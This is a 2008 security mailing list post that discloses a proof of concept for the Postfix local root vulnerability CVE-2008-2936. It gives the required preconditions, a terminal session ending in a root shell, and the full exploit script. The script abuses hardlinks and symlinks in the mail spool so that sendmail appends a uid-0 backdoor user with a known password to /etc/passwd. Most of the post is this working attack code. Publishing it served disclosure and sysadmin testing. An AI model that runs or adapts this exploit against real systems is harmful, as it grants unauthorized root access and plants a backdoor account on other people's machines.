PoCfix (PoC for Postfix local root vuln - CVE-2008-2936) Aug 31 2008 11:01AM
Roman Medina-Heigl Hernandez (roman rs-labs com)
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello,

The recent vulnerability in Postfix discovered by Sebastian Krahmer is
trivially exploitable when certain preconditions are met. Nevertheless,
it's very difficult to find such conditions in a real-world scenario. I
wrote this exploit for fun and to demonstrate that. I also hope it helps
sysadmins to check and test their systems.

I used an Ubuntu/Debian (IA32) system which *I had to make vulnerable on
purpose*. The tweaks were:
- - #1: make the spool writable to attacker
chmod o+w /var/mail
- - #2: disable mail aliases (LDA should be able to deliver mail directly to
"root" mailbox)
- - #3: use "local" postfix process as LDA

Perhaps condition #1 is the most difficult to meet, for a normal
(non-privileged) user. But think about a privilege escalation if you manage
to get into the "mail" group first (spool dir is tipically writable by
members of "mail" group).

For #2, it depends on configuration, but Ubuntu/Debian usually creates an
alias for "root", so that mail is delivered to a non-root account (and
making the system non vulnerable to this exploit).

When installing Postfix, you are asked to choose a local delivery agent
(LDA). I found one of my test systems using procmail (not vulnerable) and
another one using postfix built-in LDA (vulnerable).

For a quick test, normally, it will be sufficient to append the following
lines to /etc/postfix/main.cf:
alias_maps =
mailbox_command =
(left blank intentionally)

Finally, postfix should be refreshed:
postfix reload

There are other preconditions like:
- - #4: postfix should not be using maildir-style mailboxes
- - #5: mailbox for "root" should not exist (or at least you should have
permission to delete it, which is not always possible, even when #1 is true)

My script tries to do its best to check for these conditions (postfix
config is very flexible, I only checked some typical parameters). Feel free
to write me for corrections, etc.

==============

roman@jupiter:~$ wget http://www.rs-labs.com/exploitsntools/rs_pocfix.sh
roman@jupiter:~$ chmod a+x rs_pocfix.sh
roman@jupiter:~$ ./rs_pocfix.sh
#
# "rs_pocfix.sh" (PoC for Postfix local root vulnerability: CVE-2008-2936)
# by Roman Medina-Heigl Hernandez a.k.a. RoMaNSoFt <roman (at) rs-labs (dot) com [email concealed]>
#
# Tested: Ubuntu / Debian
#
# [ Madrid, 30.Aug.2008 ]
#
[*] Postfix seems to be installed
[*] Hardlink to symlink not dereferenced
[*] Spool dir is writable
[*] Backed up: /etc/passwd (saved as "/tmp/pocfix_target_backup.18107")
[*] Sending mail (3 seconds wait)
[*] Exploit successful (appended data to /etc/passwd). Now "su dsr", pass
is "dsrrocks")
roman@jupiter:~$ su dsr
Password:
sh-3.1#

==============

PS: I didn't find Wietse's nice advisory [1] on postfix.org site (or at
least, if it exists, it's not easy to find it). Although it seems that some
non-POSIX issues in OS are contributing to the vulnerability, IMHO it's a
(low-medium risk) vulnerability in Postfix and it deserves to be listed on
postfix page. Despite this issue, Postfix continues being one of the best
mail server software ever made and my favourite MTA.

[1] http://article.gmane.org/gmane.mail.postfix.announce/110

- --

Cheers,
- -Roman

PGP Fingerprint:
09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742
[Key ID: 0xEAD56742. Available at KeyServ]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)

iD8DBQFIunoI5H+KferVZ0IRAkBrAKCwgHV+6O+At5Hw0dsYs8kYJZQjZACeJ96a
Ww7gCuqOt32rA2HhiTuKeRk=
=oo87
-----END PGP SIGNATURE-----
#!/bin/sh
#
# "rs_pocfix.sh" (PoC for Postfix local root vulnerability: CVE-2008-2936)
# by Roman Medina-Heigl Hernandez a.k.a. RoMaNSoFt <roman (at) rs-labs (dot) com [email concealed]>
#
# Tested: Ubuntu / Debian
#
# [ Madrid, 30.Aug.2008 ]
#

# Config

writable_dir=/tmp
spool_dir=/var/mail # Use "postconf mail_spool_directory" to obtain this
user=root
target=/etc/passwd
useful_link=/usr/bin/atq # lrwxrwxrwx 2 root root 2 2007-05-04 22:15 /usr/bin/atq -> at
useful_link_dst=at # Tip: find / -type l -uid 0 -print -exec ls -l {} \; | less
seconds=3
user_in_passwd="dsr:3GsXLdEaKaGnM:0:0:root:/root:/bin/sh" # Pass is "dsrrocks"
postfix=`which postfix` # /usr/sbin/postfix
postconf=/usr/sbin/postconf
postmap=/usr/sbin/postmap

# Funcs

quit()
{
echo "$1"
exit
}

# Step 1: is my system vulnerable?

head -n 9 $0 | tail -n 8
if [ $postfix ] ; then
echo "[*] Postfix seems to be installed"
else
quit "[!] Are you sure Postfix is installed?"
fi

mkdir -p $writable_dir/pocfix
touch $writable_dir/pocfix/src
ln -s $writable_dir/pocfix/src $writable_dir/pocfix/dst1
ln $writable_dir/pocfix/dst1 $writable_dir/pocfix/dst2

if [ -L $writable_dir/pocfix/dst2 ] ; then
echo "[*] Hardlink to symlink not dereferenced"
rm -rf $writable_dir/pocfix
else
rm -rf $writable_dir/pocfix
quit "[!] Hardlink to symlink correctly dereferenced. System is not vulnerable"
fi

if [ -d $spool_dir -a -w $spool_dir ] ; then
echo "[*] Spool dir is writable"
else
quit "[!] Spool dir is not writable"
fi

if [ -e $spool_dir/$user ] ; then
rm -f $spool_dir/$user
echo "[*] Mailbox for \"$user\" found. Trying to delete it"

if [ -e $spool_dir/$user ] ; then
quit "[!] Couldn't delete it"
else
echo "[*] Deletion ok"
fi

fi

if [ -e $spool_dir/$useful_link_dst ] ; then
rm -f $spool_dir/$useful_link_dst
echo "[*] Mailbox for \"$useful_link_dst\" found. Trying to delete it"

if [ -e $spool_dir/$useful_link_dst ] ; then
quit "[!] Couldn't delete it"
else
echo "[*] Deletion ok"
fi

fi

aliases=`$postconf alias_database | cut -d"=" -f2`
$postconf alias_maps | grep -q $aliases
if [ $? -eq 0 ] ; then
if [ $aliases ] ; then
$postmap -q $user $aliases > /dev/null
if [ $? -eq 0 ] ; then
quit "[!] Mail alias for \"$user\" exists"
fi
fi
fi

lda=`$postconf mailbox_command | cut -d"=" -f2`
if [ $lda ] ; then
quit "[!] Non-Postfix LDA detected"
fi

$postconf home_mailbox | grep -q '/$'
if [ $? -eq 0 ] ; then
quit "[!] Maildir-style mailbox detected"
fi

# Step 2: Exploiting

ln -f $useful_link $spool_dir/$user 2> /dev/null || quit "[!] Couldn't create hardlink (different partitions?)"
ln -s -f $target $spool_dir/$useful_link_dst 2> /dev/null || quit "[!] Couldn't create symlink pointing to target file"
cp -f $target $writable_dir/pocfix_target_backup.$$ && echo "[*] Backed up: $target (saved as \"$writable_dir/pocfix_target_backup.$$\")"
echo "[*] Sending mail ($seconds seconds wait)"
echo $user_in_passwd | /usr/sbin/sendmail $user

sleep $seconds

diff -q $target $writable_dir/pocfix_target_backup.$$ > /dev/null

if [ $? -eq 0 ] ; then
echo "[!] Exploit failed"
else
echo "[*] Exploit successful (appended data to $target). Now \"su dsr\", pass is \"dsrrocks\")"
fi

rm -f $spool_dir/$user
rm -f $spool_dir/$useful_link_dst

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus